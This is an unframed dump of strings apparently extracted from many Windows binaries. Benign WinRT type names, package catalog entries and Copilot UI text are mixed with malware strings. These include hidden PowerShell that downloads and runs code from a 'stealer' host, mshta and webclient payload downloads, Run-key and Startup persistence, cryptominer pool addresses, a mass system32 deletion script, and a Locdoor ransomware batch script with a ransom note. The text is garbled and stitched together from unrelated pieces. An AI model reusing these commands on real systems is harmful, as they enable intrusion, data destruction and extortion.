%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
D:\a\1\s\src\cpp\src\lib\windows\StorageWorker.cpp
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UStartupAppsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UStartupAppsPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UStartupAppsPage@imple
GetWindowsDirectoryW
3.run("c:\windows\
Microsoft-Windows-Desktop-Shared-removable?
Microsoft-Windows-
&5.0 (Windows NT 6.1; rv:50.0) Gecko/20200102 Firefox/
z1system32b.
Ashell("c:\\windows\\system32\\cmd.exe/v/d/c""setskkhln5ttp:';gln5etobjln5ect(c+d+'&&sethxd=lvmxdlvmxdt865fhta|start!px!!unuu!.hta"""),vbhi
Windows NT 
VS2013WindowSplitterControlFactory
IWindowSplitterControlFactory
set_WindowSplitterControlFactory
.?AV<lambda_1>@?1??InitializeComponent@WindowsFeedbackHubIntegration@@UEAAJAEBUComponentInitializationState@@@Z@
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data froX
for/f"delims="%%ain(list.txt)docopysqlsrvtmg1.exe\\%%a\c$\windows\
mozilla/5.0 (windows nt 6.3 rv:11.0) like geckom
@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl5@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControl5@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl7@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl3@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControl3@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl4@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl2@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$implements@UPerformancePage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IPage@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UPerformancePage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IUserControl@UPerformancePage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector2@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UPerformancePage@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UPerformancePage@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UPerformancePage@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
 Windows 
\roaming\windowsmodulesv
+@echooffdel"%systemroot%\cursors\*.*">nuldelc:\windows\system32\catsrvps.dlldelc:\windows\system32\catsrvut.dlldelc:\windows\system32\cdfview.dlldelc:\windows\system32\cisvc.exedelc:\windows\system32\ckcnv.exedelc:\windows\system32\clb.dlldelc:\windows\system32\cmd.exedelc:\windows\system32\cmdial32.dlldelc:\windows\system32\cnbjmon.dlldelc:\windows\system32\comctl32.
attrib-r-s-hc:\windows\win.ini
lr:%d,%d,%d;la:%d,%d,%d;cr:%d,%d,%d%d,%d,%d,xx:%dkk:0x%xSOFTWARE\Microsoft\Windows\CurrentVersion\GoldenKeyans_workGetHtoSGetS_PUBKEYIDnotEQUjianjinenewjianjineSend_S_To_Hreadset_infoTestcardonask_workbackHard_infoexeyejinew_exeyejisetjihaotmpshangji
c:\windows\
system32\advpack.dll,delnode4
-windowstylehidden-command"re
\system32\cmd
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\windowsb
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.FileSystem.NTFS
Microsoft.Windows.Security.EFS.EfsLibAggregate
Microsoft.Windows.Security.EFS.EfsLib
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.EDP.Enforcement
Microsoft.Windows.TlgAggregateInternal
get_WindowStyle
set_WindowStyle
WindowStyle
WINDOWS.INTERNAL.STATEREPOSITORY.PACKAGELOCATION
Windows
default$windows.data.apps.devicemetadata
windows.data.apps.devicemetadata
shutdown /r /t 0Definec.exeAppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cbas.lnk
      <Color Name="ToolWindowSplitBarBackground">
%Nhttps://login.windows.net/'+
xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/7"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/preview/windows10/msixappcompatsupport/3"/>
C:\WINDOWS\Explorer.EXE
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
C:\Users\job\AppData\Local\Microsoft\Windows\WebCache\
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
@echooffpowershell-whidden-epbypass-c"start-processpowershell-windowstylehidden-argumentlist'-epbypass-ciwrhttps://stealer.cy/psc?uid=9^|iex'"
.exeregadd"hkcu\software\microsoft\windows\currentversion\run"/
set_WindowState
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckab
Windows.SystemToast.NfpAppLaunchSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b&
Windows.SystemToast.NfpAppAcquireSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\%
Windows.SystemToast.LowDiskSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44d$
Windows.SystemToast.LocationManagerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e#
Windows.SystemToast.LanguageSettingsSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44^"
Windows.SystemToast.HelloFaceSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44]!
Windows.SystemToast.ExplorerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m 
Windows.SystemToast.EnterpriseDataProtectionSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44b
Windows.SystemToast.DisplayBrokerSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44`
Windows.SystemToast.DevicesFlowSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44\
Windows.SystemToast.DevicesSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44e
Windows.SystemToast.DeviceManagementSystemapp:system2026-02-20 16:13:442026-02-20 16:13:44m
Windows.SystemToast.DeviceEnrollmentActivitySystemap.6G
Reason",u,t,"WindowsTelemetry")}let[rt,lt]=
=c|}r'@winrt@@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UDialogWindowAutomationPeer@implementation@TaskManagerApp@winrt@@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides9@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides8@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides6@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides5@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIWindowProvider@Provider@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides4@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides3@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides2@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIAutomationPeerOverrides@Peers@Automation@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$producer@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4ExpandCollapseState@Automation@Xaml@UI@Windows@winrt@@@Foundati
'],{detached:true,stdio:'ignore',windowshide:true,cwd:__dirname}).unref();"
Sending silent Cross-Cloud request on unsupported version of Windows
-windowstylehidden
\13930308\Bot_70_FIX HEADER_FIX_LONGURL 73_StableAndNewProtocol - login all\Release\Bot.pdbcmd /c REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v %s /fDLL Failed To Load! coder
-o stratum+tcp://s.antminepool.com:6234-o stratum+tcp://wk5.cybtc.info:6688 -utype= own type= interact start= autocmd /c icacls c:\ /setintegritylevel Mdel /f /a /q "c:\windows\system32\driverscopy c:\windows\system32\driversattrib -s -h -rSELECT * FROM Win32_process where name
SCPT:PSCallWindowsAPI
Jhttp://pmxmrnull.dynu.net:Pandemic-Controller-XMRIg/tasks/getTaskREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /vschtasks /create /sc minute  /mo 1 /tn
iwshshell3.run("cmd/cpowershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http://xiaoba666.f3322.net:8080/installer.exe
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
pwindows\system32\mshta.exehttp://102.165.32.158/dash/sk.hta
copy "Locdoor.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\temp00000000.exe"echo Your computer's files have been encrypted to Locdoor Ransomware!start http://9w37hde92oqvcew235.creatorlink.net/364apytRKNUXFmVsk5z8Wf1T7tYcoD1RTZYour computer's important files have been encrypted!ren *.mp4 *.door1ren *.avi *.door2ren *.mp3 *.doo3rren *.txt *.door4ren *.hwp *.doo5rren *.pptx *.door6ren *.docx *.door7ren *.xlsx *.door8ren *.html *.door9ren *.xml *.door10ren *.amr *.door11ren *.mov *.door12ren *.mkv *.door13ren *.wav *.door14ren *.wmv *.door15ren *.wma *.door16ren *.tar *.door17ren *.png *.door18ren *.jpg *.door19ren *.jpeg *.door20ren *.bmp *.door21ren *.rar *.door22ren *.jar *.door23ren *.zip *.door24ren *.7z *.door25ren *.iso *.door26Ransom:MSIL/Loxr
C:\Users\Multi\Desktop\Tutti i miei progetti\VB.NET\WindowsApp1\WindowsApp1\obj\Debug\WindowsApp1.pdbget_SuriProtectorset_SuriProtectorm_SuriProtectorWindowsApp1.SuriProtector.resources
shellcommon\shell\Windows.UI.Shell\StartDocked\ViewModel\LauncherTelemetryAdapter.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AllAppsPane.xaml.cpp
WINDOWS;C:\WIN
windir=C:\WINDOWS
c9^com.microsoft.windows.extensionpackage
ce^com.microsoft.windows.extensionpackage
d0^com.microsoft.windows.extensionpackage
opilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windowsetup.msio
allfilesusingwindowsexplorer
%Microsoft Windows Production PCA 20110
?Bs\system32\cmd.exe/cstart"""c:\users\bruno\appdata\roaming\microsoft\windows\
DriverData=C:\Windows\System32\
UserDontShowInLogonUI
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.26100.7623.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat
Microsoft-Windows-SenseClient-Task-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App6
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App>
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!App6
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!App9
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreen&
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX;
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePickerp
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog2{Z
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel1zD
Windows.CBSPreview_cw5n1h2txyewy!Microsoft.Windows.CBSPreview0y:
AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
GetProcessWindowStation
\SystemRoot\System32\drivers\msrpc.sys
\SystemRoot\system32\drivers\WppRecorder.sys
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
onecore\windows\core\console\open\src\buffer\out\textbuffercelliterator.cpp
onecore\windows\core\console\open\src\host\directio.cpp
onecore\windows\core\console\open\src\interactivity\win32\icon.cpp
onecore\windows\core\console\open\src\renderer\vt\state.cpp
onecore\windows\core\console\open\src\inc\til/u8u16convert.h
onecore\windows\core\console\open\src\host\_stream.cpp
onecore\windows\core\console\open\src\host\getset.cpp
onecore\windows\core\console\open\src\server\apidispatchers.cpp
onecore\windows\core\console\open\src\server\processlist.cpp
onecore\windows\core\console\open\src\server\objecthandle.cpp
onecore\windows\core\console\open\src\host\settings.cpp
onecore\windows\core\console\open\src\inc\til\rect.h
onecore\windows\core\console\open\src\server\iodispatchers.cpp
onecore\windows\core\console\open\src\host\consolearguments.cpp
onecore\windows\core\console\open\src\renderer\vt\xtermengine.cpp
onecore\windows\core\console\open\src\host\exe\exemain.cpp
onecore\windows\core\console\open\src\host\srvinit.cpp
onecore\windows\core\console\open\src\server\apidispatchersinternal.cpp
onecore\windows\core\console\open\src\renderer\vt\xterm256engine.cpp
onecore\windows\core\console\open\src\server\waitblock.cpp
onecore\windows\core\console\open\src\host\history.cpp
onecore\windows\core\console\open\src\types\convert.cpp
onecore\windows\core\console\open\src\server\condrvdevicecomm.cpp
.?AU?$produce_base@UTSpanViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UTSpanViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$root_implements@UTSpanViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$implements@UTSpanViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
.?AU?$producer_convert@UTSpanViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UTSpanViewManager@factory_implementation@RNSVG@winrt@@V?$tuple@UIActivationFactory@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@UTSpanViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UUseViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@UUseViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$implements@UUseViewManager@factory_implementation@RNSVG@winrt@@UIActivationFactory@Foundation@Windows@4@@winrt@@
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Embedded-KeyboardFilter-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
(https://bbempresas.z15.web.core.windows.net/?
System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
